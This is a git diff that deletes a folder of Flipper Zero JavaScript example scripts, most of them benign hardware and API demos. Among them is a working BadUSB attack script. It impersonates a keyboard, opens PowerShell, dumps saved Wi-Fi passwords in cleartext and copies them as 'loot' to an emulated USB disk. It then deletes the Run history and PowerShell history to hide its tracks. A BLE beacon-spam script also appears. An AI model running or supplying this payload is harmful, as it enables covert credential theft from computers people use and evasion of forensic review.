channel. I encourage you to check out the various scripts being shared there. - -## Detailed summary -This script will: - -- Use `storage` APIs to see if a virtual USB disk image exists. If it does, it will delete it. It then creates a new virtual USB disk image using the `usbdisk` APIs. It will then use `storage` APIs to mount the virtual USB disk image and then it will use the `copy` function to copy a file from the SD card onto the virtual USB disk. It will then unmount the virtual USB disk image. -- Next it will use `badusb` APIs to emulate a keyboard with the specified language layout. -- It will then display a `Waiting for connection` message on the screen to indicate that the Flipper Zero is ready to be connected to a computer. It uses `badusb` APIs to wait for a connection. -- It will launch PowerShell on the connected computer (`Windows+x` then `i`). -- It creates a temporary directory on the computer and then switches to that directory. -- It then types all of the commands in the script array (e.g. get ips, get wifi creds, etc.) into the PowerShell window. These commands should save output into the `localFileName`. -- It then types commands to scan for the virtual USB disk to be attached and then set the $DriveLetter variable to the drive letter of the virtual USB disk. -- If copyPayload is true, it will type commands to copy the payload file from the virtual USB disk to the temporary directory on the computer. -- If playPayload is true, it will type commands to play the payload file on the computer. -- If at least one script command is specified, it will type commands to copy the output file from the temporary directory on the computer to the virtual USB disk. -- It will then type commands to eject the drive (signaling that the script is done). -- It will then type commands to hide it's tracks (somewhat) and close the PowerShell window. -- At this point the `badusb` APIs will disconnect the Flipper Zero from the computer. -- The `usbdisk` APIs will then attach the virtual USB disk image. -- At this point the above scripts will detect the virtual USB disk image, and run the above commands, which will eventually finish by ejecting the virtual USB disk image. -- The `usbdisk` APIs will detect the detach the virtual USB disk image. -- The `usbdisk` APIs will then stop the virtual USB disk image. -- If at least one script command is specified, it will then use the `storage` APIs to mount the virtual USB disk image. It will read the output file from the virtual USB disk image and display it on the screen using the `textbox` APIs. It will also append the output file to the `loot.txt` file on the SD card. -- Once the back button is pressed, the storage APIs will unmount the image. - -## Config -Edit the [badusbdemo.js](./badusbdemo.js) file to customize the script. The following are the settings that should be changed: - -- Make sure `layout` is set to the correct keyboard layout for the computer (like `en-US`, `en-UK`, etc). See your [/ext/badusb/assets/layouts](https://github.com/Next-Flip/Momentum-Firmware/tree/dev/applications/main/bad_kb/resources/badusb/assets/layouts) for the list of supported latouts. -- `localTempFolder` is the temporary folder that will created on the computer. You do not need to change this. -- `localFileName` is the name of the output file that will be used by scripts. You do not need to change this. -- `script` array is the list of scripts to run. - - If it is empty, then the MP3 will be copied and played, but no scripts will be run. - - If it has at least one element, then the MP3 will be copied and played, and the scripts will be run. - - Your commands should save output into the `localFileName`. - - If you use a quote mark in your command, you should escape it with a backslash (e.g. `\"`). - - Commands should end with a comma. -- `copyPayload` is `true` to copy the payload file from the Flipper to the computer (otherwise `false`). -- `playPayload` is `true` to play the payload file on the computer (otherwise `false`). -- `payloadName` is the name of the payload file to copy and play. -- `payloadSrcName` is the path to the file. You do not need to change this. It it expected that the script will also contains a `payloads` folder with this file. -- `payloadDstName` is the name of the file on virtual USB disk. You do not need to change this. -- `lootFile` is the name of the file on the SD card to append the output file to. You do not need to change this. This will be saved in the same folder as the script. -- `exfilCapacityMb` is the size of the virtual USB disk image in MB. You do not need to change this unless your payload is >4MB. -- `image` is the name of the virtual USB disk image. You do not need to change this. -- `flipperStorageName` is the name of the virtual USB disk image when it is attached to the Flipper Zero. You should not change this (the driver currently hard-codes this name). -- `resultFolder` is the name of the folder on the virtual USB disk image where the output file will be saved. You do not need to change this. -- `resultFileName` is the name of the output file on the virtual USB disk image. You do not need to change this. - -## Setup - -- Copy the [badusbdemo.js](./badusbdemo.js) file to the Flipper Zero. It should be stored in `SD Card/apps/Scripts/badusbdemo.js`. -- Create a `payloads` folder in the same folder as the script (`SD Card/apps/Scripts/payload`). -- Create a `demo.mp3` file in the `payloads` folder. This file will be copied to the computer and played. This file should be less than 4MB (your `exfilCapacityMb`). - -## Running - -- Make sure you have the latest dev firmware installed on your Flipper. -- On the Flipper click the OK button, then choose `Apps`, then choose `Scripts`, then choose `badusbdemo.js`. -- Connect the Flipper Zero to the computer when prompted with `Waiting for connection`. -- The script will run and eventually disconnect the Flipper Zero from the computer. -- The script will finish and the output will be displayed on the screen and appended to the `loot.txt` file on the SD card in the (`SD Card/apps/Scripts/loot.txt`). - -## Troubleshooting -- If you get... `"textbox" module load fail at :23` -- Your firmware is too old. You need to update to the latest dev branch of the firmware. -- If you get... `"file/dir not exist at :71"` -- You need to put demo.mp3 (all lowercase) in `SD Card/apps/Scripts/payloads/demo.mp3`. The MP3 file I saved in payloads/demo.mp3 for the video was https://www.soundboard.com/track/download/156453 -- If you get... `"out of memory"` -- Reboot the Flipper (BACK+LEFT buttons) before running the script to free up memory. -- If you get a different error, **please let me know** (ideally take a picture of the error with your phone) so I can investigate it. Even if you figure it out, it would be great to add to this troubleshooting section. - -## Support - -If you have any questions, please ask in my [Flipper Zero Discord](https://discord.com/invite/NsjCvqwPAd) server. There are also giveaways and other fun things happening there. - -Support my work: -- Option 1. [Like, Subscribe and click the Bell (to get notified)](https://youtu.be/DAUQGeG4pc4) -- Option 2. [https://ko-fi.com/codeallnight](https://ko-fi.com/codeallnight) (donate $3 via PayPal or Venmo) -- Option 3. Click the "Thanks" button on [YouTube](https://youtu.be/DAUQGeG4pc4). -- Option 4. Purchase a [FlipBoard](https://github.com/MakeItHackin/FlipBoard) (I get a portion of the sale). diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js deleted file mode 100644 index d89d23825..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js +++ /dev/null @@ -1,200 +0,0 @@ -// JavaScript demo of running Windows powershell scripts. This -// demo is based on lots of the previous scripts that were shared -// in the Momentum Discord channel. - -// The payloads in this script were demonstrated in -// Talking Sasquach's video https://youtu.be/8USI98_5GeU?t=447 -// -// The improvements are: -// - Populating the USB drive with payloads. -// - PowerShell polling for the USB drive to be attached. -// - Badusb using keyboard layouts (handling non-US keyboards). -// - Copying a file from USB to local drive. -// - Playing an MP3 file. -// - PowerShell ejecting the USB drive when done. -// - Displaying the results on the Flipper screen. - -// For documentation on configuration see: -// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/badusb/README.md - -let badusb = require("badusb"); -let usbdisk = require("usbdisk"); -let storage = require("storage"); -let textbox = require("textbox"); - -// ************ -// IMPORTANT: Be sure this matches your computer keyboard layout!!! -// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts. -let layout = "en-US"; - -// Local file to store system information. -let localTempFolder = "flipper"; -let localFileName = "info.txt"; - -// Update this script to include the commands you want to run. -let script = [ - "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\\d+.\\d+)' >> " + localFileName + ";", - "(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";", - // "dir env: >> " + localFileName + ";", -]; - -// Payload to copy from the SD card to the USB drive. -let copyPayload = true; -let playPayload = true; -let payloadName = "demo.mp3"; -let payloadSrcName = __dirpath + "/payloads/" + payloadName; -let payloadDstName = "/mnt/" + payloadName; - -// All the loot will be stored in this file. -let lootFile = __dirpath + "/loot.txt"; - -// Image to store payloads and results. -let exfilCapacityMb = 4; // Reserve space for our image (payloads and results). -let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img"; -let flipperStorageName = "Flipper Mass Storage"; - -// Folder and file to store the results on SD card. -let resultFolder = "results"; -let resultFileName = "info.txt"; - -print("Checking for Image..."); -if (storage.exists(image)) { - storage.remove(image); -} -print("Creating Storage..."); -usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024); - -if (copyPayload) { - print("Copying Payload...") - storage.virtualInit(image); - storage.virtualMount(); - storage.copy(payloadSrcName, payloadDstName); - storage.virtualQuit(); -} - -badusb.setup({ - vid: 0x1234, - pid: 0x5678, - mfr_name: "Apple", - prod_name: "Keyboard", - layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" -}); -print("Waiting for connection"); -while (!badusb.isConnected()) { - delay(1000); -} - -// Launch powershell -print("Launching powershell"); -delay(3000); -badusb.press("GUI", "x"); -delay(500); -badusb.press("i"); -delay(3000); - -print("Running commands"); -badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; "); -for (let i = 0; i < script.length; i++) { - badusb.print(script[i]); -} -badusb.press("ENTER"); -badusb.press("ENTER"); - -// Wait for attached drive, assign to $DriveLetter -badusb.print(" $FlipperStorage = '" + flipperStorageName + "';"); -badusb.print(" do {"); -badusb.print(" Start-Sleep 1;"); -badusb.print(" $Disks = Get-Disk;"); -badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;"); -badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;"); -badusb.print(" } while ($DiskNumber -lt 0);") -badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;"); - -// Copy file from USB drive locally. -if (copyPayload) { - badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';"); - badusb.print(" Copy-Item -Path $Payload;"); -} - -// Play the MP3 payload file. -if (playPayload) { - badusb.print("Add-Type -AssemblyName presentationCore;"); - badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;"); - badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;"); - badusb.print(" $song = $song+'\\" + payloadName + "';") - badusb.print(" $mediaPlayer.open($song);"); - badusb.print(" $mediaPlayer.Play();"); -} - -// Move file onto SD card -if (script.length > 0) { - badusb.print(" $LocalFile = '" + localFileName + "';"); - badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;"); - badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";"); - badusb.print(" Start-Sleep 1;"); -} - -// Eject drive -badusb.print(" $eject = New-Object -comObject Shell.Application;"); -badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');"); - -// Hide tracks -badusb.print(" cd ..;"); -badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;"); -badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;"); -badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;"); -badusb.press("ENTER"); -delay(500); - -// Close window & detach keyboard -badusb.press("ENTER"); -badusb.print(" Start-Sleep 10; exit"); -badusb.press("ENTER"); -badusb.quit(); - -// Wait for badusb to finish typing. -print("Waiting for typing to finish..."); -delay(5 * 1000); - -// Attach storage -print("Attaching storage..."); -usbdisk.start(image); - -// Wait for storage to be detached from script -print("Waiting for storage to detatch..."); -while (!usbdisk.wasEjected()) { - delay(1000); -} -usbdisk.stop(); - -// Done -print("Detached disk."); -delay(1000); - -// Mount and display loot -if (script.length > 0) { - print("Reading loot..."); - storage.virtualInit(image); - storage.virtualMount(); - delay(1000); - let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName); - textbox.setConfig("start", "text"); - textbox.clearText(); - let data_view = Uint8Array(data); - for (let i = 0; i < data_view.length; i++) { - textbox.addText(chr(data_view[i])); - } - data_view = undefined; - textbox.addText("\n"); - textbox.show(); - print("Copying to loot file."); - storage.append(lootFile, data); - print("Displaying results."); - while (textbox.isOpen()) { - delay(1000); - } - textbox.clearText(); - storage.virtualQuit(); -} - -print("Done."); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js deleted file mode 100644 index 53983a745..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js +++ /dev/null @@ -1,59 +0,0 @@ -let blebeacon = require("blebeacon"); - -// Stop if previous background beacon is active -if (blebeacon.isActive()) { - blebeacon.stop(); -} - -// Make sure it resets at script exit, true will keep advertising in background -// This is false by default, can be omitted -blebeacon.keepAlive(false); - - -let math = require("math"); - -let currentIndex = 0; -let watchValues = [ - 0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, - 0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15, - 0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E, - 0x20, 0xEC, 0xEF -]; - -function generateRandomMac() { - let mac = []; - for (let i = 0; i < 6; i++) { - mac.push(math.floor(math.random() * 256)); - } - return Uint8Array(mac); -} - -function sendRandomModelAdvertisement() { - let model = watchValues[currentIndex]; - - let packet = [ - 14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43, - model - ]; - - let intervalMs = 50; - - // Power level, min interval and max interval are optional - blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3); - - blebeacon.setData(Uint8Array(packet)); - - blebeacon.start(); - - print("Sent data for model ID " + to_string(model)); - - currentIndex = (currentIndex + 1) % watchValues.length; - - delay(intervalMs); - - blebeacon.stop(); -} - -while (true) { - sendRandomModelAdvertisement(); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js deleted file mode 100644 index 06d394c53..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js +++ /dev/null @@ -1,5 +0,0 @@ -print("print", 1); -console.log("log", 2); -console.warn("warn", 3); -console.error("error", 4); -console.debug("debug", 5); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js deleted file mode 100644 index c63877f8e..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js +++ /dev/null @@ -1,36 +0,0 @@ -let gpio = require("gpio"); -let pins = ["PA7", "PA6", "PA4", "PB3", "PB2", "PC3"]; -for (let i=0; i 0) { - print("!!!", failed, "Unit tests failed !!!"); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js deleted file mode 100644 index 20f60c732..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js +++ /dev/null @@ -1,9 +0,0 @@ -let notify = require("notification"); -notify.error(); -delay(1000); -notify.success(); -delay(1000); -for (let i = 0; i < 10; i++) { - notify.blink("red", "short"); - delay(500); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js deleted file mode 100644 index 0381150d2..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js +++ /dev/null @@ -1,9 +0,0 @@ -let storage = require("storage"); - -print("script has __dirpath of" + __dirpath); -print("script has __filepath of" + __filepath); -if (storage.exists(__dirpath + "/math.js")) { - print("math.js exist here."); -} else { - print("math.js does not exist here."); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js deleted file mode 100644 index d0ad5f344..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js +++ /dev/null @@ -1,62 +0,0 @@ -// SK9822 RGB LED strip example - -let gpio = require("gpio"); -gpio.init("PC3", "outputPushPull", "no"); // pin, mode, pull -print("PC3 is clock"); -gpio.init("PA7", "outputPushPull", "no"); // pin, mode, pull -print("PA7 is data"); - -function writeByte(data) { - for (let i = 0; i < 8; i++) { - let mask = 1 << (7 - i); - gpio.write("PA7", (data & mask) === mask); - gpio.write("PC3", true); - gpio.write("PC3", false); - } -} - -function writeStart() { - writeByte(0); - writeByte(0); - writeByte(0); - writeByte(0); -} - -function writeStop(b) { - writeByte(b); - writeByte(b); - writeByte(b); - writeByte(b); -} - -function writeColor(r, g, b, i) { - writeByte(0xE0 | (i & 31)); - writeByte(b); - writeByte(g); - writeByte(r); -} - - -// read value from PC1 and write it to PC3 -let maxIntensity = 31; -let intensity = 0; -while (true) { - writeStart(); - writeColor(255, 0, 0, intensity); - writeColor(0, 255, 0, intensity); - writeColor(0, 0, 255, intensity); - writeColor(255, 255, 255, intensity); - writeColor(255, 255, 0, intensity); - writeColor(255, 0, 255, intensity); - writeColor(0, 255, 255, intensity); - writeColor(1, 0, 0, intensity); - writeColor(4, 0, 0, intensity); - writeColor(16, 0, 0, intensity); - writeColor(64, 0, 0, intensity); - writeStop(0); - delay(20); - intensity++; - if (intensity > maxIntensity) { - intensity = 1; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js deleted file mode 100644 index bca6c4c96..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js +++ /dev/null @@ -1,40 +0,0 @@ -// By jamisonderek -// For documentation on this API's use, see: -// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/ -({ - _acquired: false, - _acquire: ffi("int furi_hal_speaker_acquire(int)"), - _release: ffi("void furi_hal_speaker_release(void)"), - start: ffi("void furi_hal_speaker_start(float, float)"), - stop: ffi("void furi_hal_speaker_stop(void)"), - acquire: function (timeout) { - if (!this._acquired) { - this._acquired = this._acquire(timeout); - } - return this._acquired; - }, - acquired: function () { - return this._acquired; - }, - release: function () { - if (this._acquired) { - this._release(); - this._acquired = false; - } - }, - play: function (frequency, volume, duration) { - let already_acquired = this.acquired(); - if (!already_acquired) { - this.acquire(1000); - }; - if (this.acquired()) { - this.start(frequency, volume); - delay(duration); - this.stop(); - } - if (!already_acquired) { - this.release(); - } - }, -} -) \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md deleted file mode 100644 index ddd9b6d82..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Speaker - -A JavaScript that plays tones using the `ffi` commands. The advantage of the `ffi` commands is that they can run on firmware without requiring a particular module `.fal` file to exist on the Flipper. Thanks to [Freehuntx](https://github.com/Freehuntx) for the various examples of using `ffi`. - -## How to use -Copy the `speaker.js` file and `speaker_api.js` file to your Flipper Zero, typically the `SD Card/app/Scrips` folder. You can then run the script (on your Flipper press `OK` then choose `Apps`, `Scripts`, `speaker.js`). - -NOTE: The script uses the `__dirpath` variable to locate the `speaker_api.js` file. Some frameworks don't support this variable yet, so you may need to adjust the path to the `speaker_api.js` file. For example change the first line of speaker.js to the following: -```js -let Speaker = load("/ext/apps/Scripts/speaker_api.js"); -``` - -For an `ffi` version of script that obtains the same data as `__dirpath` see [this Discord post]( -https://discord.com/channels/1211622338198765599/1220056596638597327) by @Freehuntx. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js deleted file mode 100644 index 3ba2f25e1..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js +++ /dev/null @@ -1,4 +0,0 @@ -let Speaker = load(__dirpath + "/speaker_api.js"); - -Speaker.play(440, 1.0, 500); -Speaker.play(880, 1.0, 500); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js deleted file mode 100644 index fd2ba4a4f..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js +++ /dev/null @@ -1,46 +0,0 @@ -let storage = require("storage"); -let path = "/ext/storage.test"; - -function arraybuf_to_string(arraybuf) { - let string = ""; - let data_view = Uint8Array(arraybuf); - for (let i = 0; i < data_view.length; i++) { - string += chr(data_view[i]); - } - return string; -} - -print("File exists:", storage.exists(path)); - -print("Writing..."); -// write(path, data, offset) -// If offset is specified, the file is not cleared, content is kept and data is written at specified offset -// Takes both strings and array buffers -storage.write(path, "Hello "); - -print("File exists:", storage.exists(path)); - -// Append will create the file even if it doesnt exist! -// Takes both strings and array buffers -storage.append(path, "World!"); - -print("Reading..."); -// read(path, size, offset) -// If no size specified, total filesize is used -// If offset is specified, size is capped at (filesize - offset) -let data = storage.read(path); -// read returns an array buffer, to allow proper usage of raw binary data -print(arraybuf_to_string(data)); - -print("Removing...") -storage.remove(path); - -print("Done") - -// There's also: -// storage.copy(old_path, new_path); -// storage.move(old_path, new_path); -// storage.mkdir(path); -// storage.virtualInit(path); -// storage.virtualMount(); -// storage.virtualQuit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js deleted file mode 100644 index 51781328d..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js +++ /dev/null @@ -1,19 +0,0 @@ -let sampleText = "Hello, World!"; - -let lengthOfText = "Length of text: " + to_string(sampleText.length); -print(lengthOfText); - -let start = 7; -let end = 12; -let substringResult = sampleText.slice(start, end); -print(substringResult); - -let searchStr = "World"; -let result2 = to_string(sampleText.indexOf(searchStr)); -print(result2); - -let upperCaseText = "Text in upper case: " + to_upper_case(sampleText); -print(upperCaseText); - -let lowerCaseText = "Text in lower case: " + to_lower_case(sampleText); -print(lowerCaseText); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js deleted file mode 100644 index b5e54bac6..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js +++ /dev/null @@ -1,45 +0,0 @@ -let subghz = require("subghz"); -subghz.setup(); - -function printRXline() { - if (subghz.getState() !== "RX") { - subghz.setRx(); // to RX - } - - let rssi = subghz.getRssi(); - let freq = subghz.getFrequency(); - let ext = subghz.isExternal(); - - print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext); -} - -function changeFrequency(freq) { - if (subghz.getState() !== "IDLE") { - subghz.setIdle(); // need to be idle to change frequency - } - subghz.setFrequency(freq); -} - -subghz.setIdle(); -print(subghz.getState()); // "IDLE" -subghz.setRx(); -print(subghz.getState()); // "RX" - -changeFrequency(433920000); -printRXline(); -delay(1000); - -print("Sending 0.sub") -subghz.transmitFile("/ext/subghz/0.sub"); -// Can also specify repeat count: subghz.transmitFile(path, repeat) -// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed -// These 10 repeats by default are to simulate holding the button on remote -print("Send success"); -delay(1000); - -changeFrequency(315000000); -printRXline(); - -// Optional, done automatically at script end -subghz.end() -// But can be used to setup again, which will retry to detect external modules \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js deleted file mode 100644 index 245551309..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js +++ /dev/null @@ -1,11 +0,0 @@ -let submenu = require("submenu"); - -submenu.addItem("Item 1", 0); -submenu.addItem("Item 2", 1); -submenu.addItem("Item 3", 2); - -submenu.setHeader("Select an option:"); - -let result = submenu.show(); -// Returns undefined when pressing back -print("Result:", result); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js deleted file mode 100644 index 6caf37234..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js +++ /dev/null @@ -1,30 +0,0 @@ -let textbox = require("textbox"); - -// You should set config before adding text -// Focus (start / end), Font (text / hex) -textbox.setConfig("end", "text"); - -// Can make sure it's cleared before showing, in case of reusing in same script -// (Closing textbox already clears the text, but maybe you added more in a loop for example) -textbox.clearText(); - -// Add default text -textbox.addText("Example dynamic updating textbox\n"); - -// Non-blocking, can keep updating text after, can close in JS or in GUI -textbox.show(); - -let i = 0; -while (textbox.isOpen() && i < 20) { - print("console", i++); - - // Add text to textbox buffer - textbox.addText("textbox " + to_string(i) + "\n"); - - delay(500); -} - -// If not closed by user (instead i < 20 is false above), close forcefully -if (textbox.isOpen()) { - textbox.close(); -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md deleted file mode 100644 index ea1ed54cb..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md +++ /dev/null @@ -1,35 +0,0 @@ -# vgm_sensor tutorial - -This is an example of extending JavaScript for the Flipper Zero. The files were used in the [YouTube video](https://youtu.be/EtOZN3Rh47c) which demonstrates the process in detail. - -Our [a_demo.js](./a_demo.js) script will play a tone using the speaker module. It will then display sensor information from the video game module. - -The [tone_rotate.js](./tone_rotate.js) script will play a tone using the speaker module. As you rotate the Flipper (change the yaw reading) the frequency of the tone will increase or decrese. - -Copy the [a_demo.js](./a_demo.js) and [tone_rotate.js](./tone_rotate.js) files to your `SD Card/apps/Scripts` directory. You can then run the scripts from the Flipper Zero (`Apps`, `Scripts`, `a_demo.js`). - -## Prebuilt apps -You can copy one of the FAL files from [prebuilt](./prebuilt/) onto `SD Card/apps_data/js_app/plugins/js_vgm.fal` and then you will be able to do `let vgm = require("vgm");`. The prebuilt files exposes the 4 APIs (getPitch, getRoll, getYaw, deltaYaw) from the video and they also expose a (`play(440,1.0,250);`) command -- since I wanted to see what would happen if I used furi_hal_speaker APIs in my module code. If you use the wrong one for your firmware, you will get `"vgm" module load fail`. You can also copy [tone_rotate_native.js](./prebuilt/tone_rotate_native.js) to the `SD Card/apps/Scripts/tone_rotate_native.js`. Running the script (`Apps`, `Scripts`, `tone_rotate_native`) should play tones as you rotate your Flipper with the VGM attached. - -## Installing the JS speaker_api module -We wrote the speaker_api module in JavaScript (using furi_hal_xxx APIs to expose a new speaker module). This file [speaker_api.js](./speaker_api.js) should be copied to your `SD Card/apps/Scripts` directory. Once copied, your scripts can do a `let speaker = load(__dirpath + "/speaker_api.js");` and then `speaker.playTone(440, 1.0, 500);` to play a 440Hz tone, at full volume for 500ms. This file is a good example of how to use FFI to extend the Flipper Zero. If your APIs are part of the firmware, and don't use enumeration values, this is a good technqiue to use. (If they use enumeration values, it's possible that the values will change in the future, and your script will reference the improper id values.) - -## Installing the C (js_vgm) module -To expose the sensor APIs to JavaScript we used a second technique of creating a module in C and compiling it into the firmware. This is a more robust technique, but requires more work for everyone that want to use the module. If you are using enumeration values, they get resolved at compile time so they will always be correct. You are able to include additional files in your C module, so you can access APIs that aren't part of the firmware (for example, accessing the sensors in the video game module). The downside is that you have to write C code, and everyone that wants to run your script needs to have their firmware compiled with your module. - -To add the native C module to your firmware: -- Follow the steps in [Clone & Deploy firmware](https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Install-Firmware-and-Apps#clone--deploy-firmware) instructions. -- Copy the [js_vgm](./js_vgm) folder to your firmware's `applications/system/js_app/modules/js_vgm` directory on your computer. -- Update your application.fam for js_app, adding an entry in your firmware's `applications/system/js_app/application.fam` file to include the js_vgm module at the bottom of the file. It should look like the following: -```c -App( - appid="js_vgm", - apptype=FlipperAppType.PLUGIN, - entry_point="js_vgm_ep", - requires=["js_app"], - sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"], -) -``` -- Recompile your firmware and deploy it to your Flipper Zero. (e.g. Run step 7 again in the *Clone & Deploy firmware* instructions.) - -NOTE: If you create a useful module, you should try to make a pull-request to the firmware, so that other people can use your module without having to recompile the firmware. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js deleted file mode 100644 index 6027098df..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js +++ /dev/null @@ -1,38 +0,0 @@ -let vgm = require("vgm"); -let __dirpath = "/ext/apps/Scripts"; -let speaker = load(__dirpath + "/speaker_api.js"); - -let min_delta_angle = 29.98; -let max_wait_ms = 10000; -let freq_hz = 440; - -//Uncomment below to test for various test cases... -//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). -//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. -//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. -//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. - -// Show the pitch, roll, and yaw values for 5 seconds -for (let i = 0; i < 5; i++) { - print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); - delay(1000); -} - -// Play a sound that changes pitch based on yaw -for (let i = 0; i < 500; i++) { - print("Freq", freq_hz, "Hz"); - speaker.play(freq_hz, 1.0, 250); - - let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); - if (delta === undefined) { - print("No VGM detected. Exiting..."); - break; - } - delta /= (min_delta_angle / 1.02); - - if (delta > 0) { - freq_hz *= delta; - } else if (delta < 0) { - freq_hz /= -delta; - } 